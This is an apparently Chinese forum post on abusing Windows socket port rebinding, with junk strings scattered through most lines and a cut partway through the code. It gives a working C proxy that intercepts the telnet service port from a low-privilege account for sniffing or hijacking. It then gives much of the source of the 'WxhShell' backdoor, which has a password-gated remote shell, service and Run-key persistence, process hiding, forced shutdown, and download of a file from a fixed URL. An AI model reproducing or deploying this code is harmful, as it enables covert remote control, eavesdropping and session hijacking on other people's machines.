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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: # )s +I2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r@PVSH/  
_o&NbDH  
  saddr.sin_family = AF_INET; lT~WP)  
k"E|E";B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yv: Op\;R  
jI~$iDdOfs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]2{]TJ @B  
,+X:#$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >1HXC2 Y  
}"[/BT5t  
  这意味着什么?意味着可以进行如下的攻击: {kvxz  
}?MbU6"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /#SH`ZK  
1GPBqF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "LH3ZPD  
?xuWha@:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :w)9 (5  
di7cCn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kOC0d,  
-j1]H"-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *?A!`JpJn  
'j!n   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]W5p\(1g  
A\v53AT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dF5y' R'  
|io)?`pj  
  #include [zSt+K;  
  #include PEaZ3{-  
  #include :ciD!Ly  
  #include    7Hj7b:3K&!  
  DWORD WINAPI ClientThread(LPVOID lpParam);    bDD29  
  int main() E33WT{H&_'  
  { uo(LZUjPbN  
  WORD wVersionRequested; UID`3X  
  DWORD ret; bfYVA2=Z  
  WSADATA wsaData; d. ZfK  
  BOOL val; L-zU%`1{M  
  SOCKADDR_IN saddr; 7Sh1QDYZ  
  SOCKADDR_IN scaddr; b1G6'~U-  
  int err; '&$zgK9T?  
  SOCKET s; X&Sah}0V&  
  SOCKET sc; 8"p rWAN  
  int caddsize; |:,`dQfw  
  HANDLE mt; /lhk} y^  
  DWORD tid;   N#@v`S  
  wVersionRequested = MAKEWORD( 2, 2 ); '8FHn~F  
  err = WSAStartup( wVersionRequested, &wsaData );  ?$y/b}8  
  if ( err != 0 ) { r]]:/pw?t  
  printf("error!WSAStartup failed!\n"); BK wo2=m~  
  return -1; +|x%a2?x:  
  } L(9AcP  
  saddr.sin_family = AF_INET; (*,R21<%  
   5Zmc3&vRl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TI\EkKu"  
\rE] V,,2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U#<{RqY  
  saddr.sin_port = htons(23); |?hsMN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8k+k\V{  
  { `b%^_@Fb  
  printf("error!socket failed!\n"); #K iqV6E  
  return -1; K@Xj)  
  } lkC|g%f  
  val = TRUE; l}k'ZX4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z,"YMUl'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F? ps? e  
  { hegH^IN M  
  printf("error!setsockopt failed!\n"); ej1WkaR8  
  return -1; B?Rkz  
  } :_`Yrx5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (:h&c6'S)b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =W>a~e]/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <fA}_BH%]  
ltMcEv-d0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0QxBC7` qp  
  { &}K%F)S  
  ret=GetLastError(); if3z Fh  
  printf("error!bind failed!\n"); O@w_"TJP/z  
  return -1; ^(@]5$^Z  
  } J6ed  
  listen(s,2); Lr(JnS  
  while(1) ="P FCxi  
  { XqwP<5Z  
  caddsize = sizeof(scaddr); .F[5{XV  
  //接受连接请求 K$B~vy6E`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 66$ hdT$  
  if(sc!=INVALID_SOCKET) DF'~ #G8  
  { G*~CB\K_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xq"Es  
  if(mt==NULL) 9l:[jsk<d  
  { 5PP^w~n  
  printf("Thread Creat Failed!\n"); 8*|*@  
  break; Dtyw]|L\H  
  } *)oBE{6D  
  } `B,R+==G:  
  CloseHandle(mt); sGpAaGY>  
  } 51* [Ibx  
  closesocket(s); t2|0no  
  WSACleanup(); IWI$@dng6  
  return 0; x?od_M;*8;  
  }   UPPlm\wb*  
  DWORD WINAPI ClientThread(LPVOID lpParam) WP=uHg  
  { !lA~;F  
  SOCKET ss = (SOCKET)lpParam; *y$CDv  
  SOCKET sc; B]mMwqM#  
  unsigned char buf[4096]; _lRIS_^;eE  
  SOCKADDR_IN saddr; hzpl;Mj  
  long num; ~-uDN)  
  DWORD val; '(ZT }N  
  DWORD ret; '-$cvH7_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y"nz l]T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I]3!M`IMG  
  saddr.sin_family = AF_INET; 4vkqe6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  ?sR(  
  saddr.sin_port = htons(23); W@zu N)U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !1A< jL  
  { L"0?g(< 5  
  printf("error!socket failed!\n"); fN:FD`  
  return -1; jM-5aj[K  
  } H ]!P[?  
  val = 100; ;lt8~ea  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uD[T l  
  { 77wod}h!:  
  ret = GetLastError(); ,DEcCHr,  
  return -1; 563ExibH  
  } Vi0D>4{+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QjYw^[o  
  { v yt|x5  
  ret = GetLastError(); L|;sB=$'{  
  return -1; ZF8`= D`:R  
  } !DHfw-1K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P^U.VXY}  
  { Vock19P  
  printf("error!socket connect failed!\n"); 4$U^)\06W  
  closesocket(sc); /;!I.|j  
  closesocket(ss); Xn>>hzj-x?  
  return -1; K$r)^K=s  
  } .YP&E1lNi  
  while(1) 73SH[f[g  
  { }9!}T~NMs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uc|ej9N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q!~DCv df  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [$:L| V!{  
  num = recv(ss,buf,4096,0); 8U7d d[  
  if(num>0) nwqA\  
  send(sc,buf,num,0); bf2r8   
  else if(num==0) e@/' o/  
  break; | h+vdE8  
  num = recv(sc,buf,4096,0); iOL/u)   
  if(num>0) ,) aUp4*  
  send(ss,buf,num,0); koE]\B2A6  
  else if(num==0) MD3iWgM  
  break; ^&$86-PB/  
  } v!$?;"d+  
  closesocket(ss); wM3m'# xJ  
  closesocket(sc); -lAY*2Jg  
  return 0 ; 2^w{Hcf  
  } .[3C  
Ttp%U8-LJR  
5w+&plIJ  
========================================================== c~OvoTF,  
@D `j   
下边附上一个代码,,WXhSHELL PSX o"   
nV`W0r(f'  
========================================================== y9=<q%Kc-  
c++q5bg@)  
#include "stdafx.h" VWzuV&;P  
b):aqRwP  
#include <stdio.h> qZv@ULluc  
#include <string.h> /Ei e5p  
#include <windows.h> |2rOV&@l9  
#include <winsock2.h> 'C#[iRG4  
#include <winsvc.h> wjgFe]  
#include <urlmon.h> \'iy(8i  
]!a?Lr  
#pragma comment (lib, "Ws2_32.lib") 9wO2`e )  
#pragma comment (lib, "urlmon.lib") /Nob S'd  
fL]jk1.Xv-  
#define MAX_USER   100 // 最大客户端连接数 aygK$.wos  
#define BUF_SOCK   200 // sock buffer W"CG&.  
#define KEY_BUFF   255 // 输入 buffer PAxR?2m{  
'fk6]&-I  
#define REBOOT     0   // 重启 ?5,I`9  
#define SHUTDOWN   1   // 关机 M=SrZ,W  
>J_ P[v  
#define DEF_PORT   5000 // 监听端口 {))Cb9'  
|YfJ#Agm+  
#define REG_LEN     16   // 注册表键长度 ?[Ma" l>  
#define SVC_LEN     80   // NT服务名长度 '* /$66|  
Gi2Fjq/Y  
// 从dll定义API *Tr{a_{~C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8F's9c,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); } j;es(~D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mG0_&'"YIG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m&be55M;  
3"k n5)x  
// wxhshell配置信息 6K=}n] n  
struct WSCFG { D]|{xKC}  
  int ws_port;         // 监听端口 kc}|L9  
  char ws_passstr[REG_LEN]; // 口令 AR&l9R[{N  
  int ws_autoins;       // 安装标记, 1=yes 0=no NLxR6O4}8  
  char ws_regname[REG_LEN]; // 注册表键名 "ctZ"*  
  char ws_svcname[REG_LEN]; // 服务名 2$A"{2G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =A$d)&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *19a\m=>oi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q9a6s {,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sOS^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TqOH(= {  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nNnfcA&W  
=En1?3?  
}; xe3Jxo !U  
!T8sWMY  
// default Wxhshell configuration zqZ/z>Gf  
struct WSCFG wscfg={DEF_PORT, ~C3Ada@4  
    "xuhuanlingzhe", 3*(><<ZC  
    1, yx;K&>  
    "Wxhshell", +kD JZ  
    "Wxhshell", +>$Kmy[3  
            "WxhShell Service", s'IB{lJ9  
    "Wrsky Windows CmdShell Service", l m(mY$B*_  
    "Please Input Your Password: ", >$=l;jO`n  
  1, xh!T,|IR  
  "http://www.wrsky.com/wxhshell.exe", Gm0}KU  
  "Wxhshell.exe" bT|-G2g7Z  
    }; vGI)c&C>  
=wD&hDn4  
// 消息定义模块 2+ g'ul`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }jdmeD:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cn5;h(r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r)Ml-r =  
char *msg_ws_ext="\n\rExit."; _u6MSRX[6$  
char *msg_ws_end="\n\rQuit."; `gJ$fTi&  
char *msg_ws_boot="\n\rReboot..."; 141xi;o  
char *msg_ws_poff="\n\rShutdown..."; }Gx@1)??  
char *msg_ws_down="\n\rSave to "; W{j(=<|<  
N%e^2O)  
char *msg_ws_err="\n\rErr!"; ]&P 4QT)f  
char *msg_ws_ok="\n\rOK!"; *Ue#Sade  
}9;mtMR$  
char ExeFile[MAX_PATH]; b' ~WS4xlD  
int nUser = 0; .0;\cv4}  
HANDLE handles[MAX_USER]; 5 [4{1v  
int OsIsNt; Re'3bs:+  
soX^$l  
SERVICE_STATUS       serviceStatus; Q|2*V1"r<2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t"e%'dFv  
U^qS[HM  
// 函数声明 Z,M2vRj"qT  
int Install(void); OIjG`~Rx  
int Uninstall(void); DNyt_5j&:  
int DownloadFile(char *sURL, SOCKET wsh); _?$w8 S%  
int Boot(int flag); 0(&Rm R  
void HideProc(void); v!3Oq.ot  
int GetOsVer(void); ZjrBOb  
int Wxhshell(SOCKET wsl); R9QW%!:,\2  
void TalkWithClient(void *cs); d5R2J:dI  
int CmdShell(SOCKET sock); %Q;:nVt  
int StartFromService(void); ,\d03wha  
int StartWxhshell(LPSTR lpCmdLine); B[+b%a3  
u^WZsW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %|j`;gYV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /ZH*t\  
NJOV!\k  
// 数据结构和表定义 8E9k7  
SERVICE_TABLE_ENTRY DispatchTable[] = CoWT  
{ &SPr#OkW  
{wscfg.ws_svcname, NTServiceMain}, 4E1j0ARQQ  
{NULL, NULL} T eu.i   
}; iQLP~Z>,T  
dP]Z:  
// 自我安装 BuxU+  
int Install(void) 'AmA3x)9u  
{ y$6EEp  
  char svExeFile[MAX_PATH]; Y/pK  
  HKEY key; :/RvtmW  
  strcpy(svExeFile,ExeFile); J{L d)Q,^  
ng6E &<Z  
// 如果是win9x系统,修改注册表设为自启动 yC4%z) t&R  
if(!OsIsNt) { frV_5yK'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w=0zVh_`(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G(t&(t`[  
  RegCloseKey(key); t~!ag#3['.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8p1:dTI5Pb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d(| 4 +^>  
  RegCloseKey(key); 5-S-r9  
  return 0; `R lWhdE  
    } -Hy> z  
  } *e<'|Kq  
} ]+ tO  
else { ]@ Vp:RGMr  
f3:dn7  
// 如果是NT以上系统,安装为系统服务 RK)ikLgp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |I|,6*)xg  
if (schSCManager!=0) %+UTs'I  
{ ft iAty0n  
  SC_HANDLE schService = CreateService Lw?>1rTT/  
  ( V|{~9^  
  schSCManager, r'XWt]B+[  
  wscfg.ws_svcname, T?`Ha\go  
  wscfg.ws_svcdisp, zn|O)"C  
  SERVICE_ALL_ACCESS, z: )*Aobwv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4FKgp|Y0  
  SERVICE_AUTO_START, `q1-yH0~4  
  SERVICE_ERROR_NORMAL, #sbW^Q'I  
  svExeFile, Z 8GIZ  
  NULL, w[EEA_\  
  NULL, ^?0?*  
  NULL, %(s2{$3  
  NULL, ma"M?aM  
  NULL q>6,g>I  
  ); dKw[#(m5v  
  if (schService!=0) %uo#<Ny/ I  
  { &[yYgfsp  
  CloseServiceHandle(schService); >gn@NJ2N  
  CloseServiceHandle(schSCManager); 4]Gm4zO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -; i:bE  
  strcat(svExeFile,wscfg.ws_svcname); F>%,}Y~B:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XZ3M~cD q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); blaXAqe  
  RegCloseKey(key); ^a!oq~ZSy  
  return 0; ?3v-ppw%  
    } QPvWdjf#mM  
  } ?;w\CS^Qu  
  CloseServiceHandle(schSCManager); I^D*) z   
} f&&Ao  
} 1WY$Vs  
VwXR,(  
return 1; 'l-VWqR-  
} ?4Rq +  
gs~u8"B  
// 自我卸载 piIGSC  
int Uninstall(void) (?.h<v1}  
{ zXwdU5 8  
  HKEY key; ,.L o)[(  
PX?^v8wlqL  
if(!OsIsNt) { ?~]mOv>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a^VI)  
  RegDeleteValue(key,wscfg.ws_regname); jo0XOs  
  RegCloseKey(key); !8RJHMX&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =~dsIG  
  RegDeleteValue(key,wscfg.ws_regname); ER4#5gd  
  RegCloseKey(key); 7EL0!:Pp3  
  return 0; X'2%'z<  
  } *2YWvGc  
} =Prz|   
} ~4ijiw$  
else { >R\@W(-g`  
Nvd(Tad  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .Lm`v0' w  
if (schSCManager!=0) c-Qa0 Q  
{ }j\8|UG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V9`jq$  
  if (schService!=0) e.!~7c_z?  
  { W,nn,%  
  if(DeleteService(schService)!=0) { 1X?q4D"  
  CloseServiceHandle(schService); =[gFaB_H  
  CloseServiceHandle(schSCManager); V:gXP1P  
  return 0; c&`]O\D-c  
  } :"+3Uk2  
  CloseServiceHandle(schService); *kJa$3*r  
  } | Y(  
  CloseServiceHandle(schSCManager); ya;(D 8x)  
} Jf@Xz7{z  
} q+lCA#Sx  
=Q!V6+}nY^  
return 1; Jp~[Dm  
} DuC_uNJ  
dmMrZ1u2  
// 从指定url下载文件 gLbTZM4i  
int DownloadFile(char *sURL, SOCKET wsh) )_Iu7b  
{ ?.nD!S@  
  HRESULT hr; _Vr}ipx-k  
char seps[]= "/"; ,awkL :  
char *token; Q:Y`^jP   
char *file; !zfV (&  
char myURL[MAX_PATH]; j<L!(6B  
char myFILE[MAX_PATH]; O%Qz6R  
sWP_fb1  
strcpy(myURL,sURL); #}UI  
  token=strtok(myURL,seps); 8: VRq  
  while(token!=NULL) ~jC$C2A0  
  { &Hl w2^  
    file=token; ZP.~Y;Ch;-  
  token=strtok(NULL,seps); mDA1$fj"  
  } }O6E5YCm  
9;A9Q9Yr  
GetCurrentDirectory(MAX_PATH,myFILE); !1bATO:x  
strcat(myFILE, "\\"); TZObjSm_v  
strcat(myFILE, file); lhF)$M  
  send(wsh,myFILE,strlen(myFILE),0); !@ )JqF.  
send(wsh,"...",3,0); 2W)KfS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h<BTu7a`r  
  if(hr==S_OK) -TyBb]  
return 0; {ka={7  
else YXGxE&!  
return 1; s 8lfW6  
h-*h;Uyc  
} + a'nP=e&  
$,1KD3;+]  
// 系统电源模块 @8SA^u0  
int Boot(int flag) gZ  {  
{ _P=L| U#C  
  HANDLE hToken; kyD*b3MN  
  TOKEN_PRIVILEGES tkp; NcIr; }  
ZgxpHo  
  if(OsIsNt) { HB}iT1.`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "u"?~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tLGNYW!K  
    tkp.PrivilegeCount = 1; YA8ZB&]En/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qmj%otSg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #23($CSE  
if(flag==REBOOT) { j|y"Lcq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kr%O}<"  
  return 0; VQ4rEO=t  
} RM!VAFH   
else { WAb@d=H{+>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e]7J_9t@  
  return 0; ov'C0e+o  
} a &hj|  
  } #:[CF:  
  else { 9:*a9xT,  
if(flag==REBOOT) { 12bztlv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HgOrrewj  
  return 0; D (Q=EdlO  
} )AAPT7!U  
else { 6W N(Tw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zUJPINDb  
  return 0; D(">bR)1  
} Jrx]/CM  
} ^:o^g'Yab  
U~<~>^[  
return 1; w?M` gl8r  
} Ng\]  
x)e(g}n  
// win9x进程隐藏模块 Xxs0N_va&  
void HideProc(void) b|g=&T:pp  
{ r} a,  
+J:wAmY4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z;EDyd,O>  
  if ( hKernel != NULL ) gg :{Xf*`  
  { "'U]4Z%q!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Au7X'}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -W)8Z.  
    FreeLibrary(hKernel); m%i!;K"{s  
  } K%NgZ(x(  
w#RfD  
return; gPy}.g{tH$  
} !F# ^Peb  
e `IL7$  
// 获取操作系统版本 &=v5M9GR]  
int GetOsVer(void) ;C+ _KS  
{ 4 _Idf  
  OSVERSIONINFO winfo; =tqChw   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V%n7 h&\%  
  GetVersionEx(&winfo); ~|=G3( I[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w)%/Me3o  
  return 1; F ss@/-  
  else e&F=w`F\  
  return 0; vA0f4W 8+  
} Rc`zt7hbJ  
z6bIv }  
// 客户端句柄模块 #|acRZ9 }  
int Wxhshell(SOCKET wsl) ~{npG  
{ $R/@%U)-o  
  SOCKET wsh; WD?COUEox  
  struct sockaddr_in client; 4Pr@<S"U  
  DWORD myID; p`oHF  5  
&uG@I=}TIY  
  while(nUser<MAX_USER) cmbl"Pqy1  
{ F!ra$5u  
  int nSize=sizeof(client); @i@f@.t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r_M5:Rz  
  if(wsh==INVALID_SOCKET) return 1; hE}y/A[  
4>te>[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NpF)|Ppb{  
if(handles[nUser]==0) P<IZ%eS3B  
  closesocket(wsh); 5t[7taLX\  
else ^ &VN=Y6z  
  nUser++;  uE3xzF  
  } bODyJ7=[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <|4L+?_(&  
#^bn~  
  return 0; O ftjm X_  
} 8DZ OPA  
h>&t``<  
// 关闭 socket 7>yb8/J  
void CloseIt(SOCKET wsh) q|N4d9/b  
{ SI/p8 ^  
closesocket(wsh); q%8Ck)xz  
nUser--; K{]\}7+   
ExitThread(0); vK8!V7o~h%  
} SSa0 x9T  
f&`yiy_  
// 客户端请求句柄 x.aqy'/`  
void TalkWithClient(void *cs) >Gxh=**F  
{ qM:*!Aq 0g  
MnD^jcx   
  SOCKET wsh=(SOCKET)cs; F48W8'un  
  char pwd[SVC_LEN]; !yf7y/qY  
  char cmd[KEY_BUFF]; d/xGo[?$  
char chr[1]; a3[lZPQe  
int i,j; |bv7N@?e  
u eV,p?Wo  
  while (nUser < MAX_USER) { CGJ>j}C  
[HSN*LXe  
if(wscfg.ws_passstr) { .vhEm6wJUM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wb/@g=` d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .+dego:  
  //ZeroMemory(pwd,KEY_BUFF); p#tbN5i[{7  
      i=0; q OX=M  
  while(i<SVC_LEN) { vy1N, 8a  
[,|;rt\o>  
  // 设置超时 VfJdCg_  
  fd_set FdRead; FpFkZFtG'm  
  struct timeval TimeOut; 7G5VwO  
  FD_ZERO(&FdRead); uE:`Fo=y  
  FD_SET(wsh,&FdRead); ,S\AUUt%  
  TimeOut.tv_sec=8; <%EjrjdvL+  
  TimeOut.tv_usec=0; x]<0Kq9K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :ej`]yK |  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e[*%tx H  
p )w{}@%r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `ls^fnJTpf  
  pwd=chr[0]; c-bTf$6}  
  if(chr[0]==0xd || chr[0]==0xa) { R:t  
  pwd=0; DzE_p- zs  
  break; wBIhpiJX0  
  } SbN.z  
  i++; [Cf{2WB:7  
    } >19j_[n@VC  
V( SRw  
  // 如果是非法用户,关闭 socket SH#!Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]8ob`F`m,  
} vC ISd   
*d$r`.9j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xm bFJUMH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xe>   
EK<ly"S.  
while(1) { NGOyd1$7N  
j`ybzG^  
  ZeroMemory(cmd,KEY_BUFF); tboc7Hor4  
=y WHm  
      // 自动支持客户端 telnet标准   f`"@7-N  
  j=0; p-,(P+Np  
  while(j<KEY_BUFF) { 8$y5) ~Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i $;y  
  cmd[j]=chr[0]; +a!uS0fIJi  
  if(chr[0]==0xa || chr[0]==0xd) { co [  
  cmd[j]=0; Onj)AJ9M0r  
  break; mUjM5ceAXO  
  } o `}(1$a>  
  j++; Trt1M  
    } >*S ;z+!&  
!=rJ~s F/{  
  // 下载文件 x|q|> dPB  
  if(strstr(cmd,"http://")) { T~b6Zu6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4'BZ+A,p  
  if(DownloadFile(cmd,wsh)) pQ yH`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q9NKQuSu  
  else -VhxnhS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @86?!0bt  
  } { K *  
  else { 9>hK4&m^  
TxXX}6  
    switch(cmd[0]) { m. "T3K  
  El4SL'E@  
  // 帮助 i.G"21M  
  case '?': { !+Us)'L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e]@R'oM?#`  
    break; w^wh|'u^_@  
  } J^)=8cy  
  // 安装 Y!w {,\3  
  case 'i': { ^.~m4t`U  
    if(Install()) ;P!x/Ct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:/?eZ  
    else 1@{qPmf^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J!@`tR-  
    break; 4+'d">+|  
    } u:GDM   
  // 卸载 6R+EG{`  
  case 'r': { k~HS_b*]d  
    if(Uninstall()) QTT2P(Pz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 P U]I+  
    else m.2=,,r<Fq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Tm8sQ)1  
    break; B7ty*)i?  
    } q_[V9  
  // 显示 wxhshell 所在路径 kH}HFl  
  case 'p': { :to1%6  
    char svExeFile[MAX_PATH]; w!~85""  
    strcpy(svExeFile,"\n\r"); DZ5QC aA  
      strcat(svExeFile,ExeFile); v"J7VF2  
        send(wsh,svExeFile,strlen(svExeFile),0); q$BS@   
    break; ^U[yk'!Y  
    } ~fR-cXj"  
  // 重启 UhVJ !NrT  
  case 'b': { D|Raj\R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QDpzIjJj  
    if(Boot(REBOOT)) aYd`E4S+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCnKX<Wv  
    else { bo04y)Iz  
    closesocket(wsh); XYdr~/[HPy  
    ExitThread(0); 9 Z79  
    } h&j9'  
    break; )R@M~d-o  
    } *Ph@XkhU  
  // 关机 UcxMA%Pw7$  
  case 'd': { _ !H8j/b  
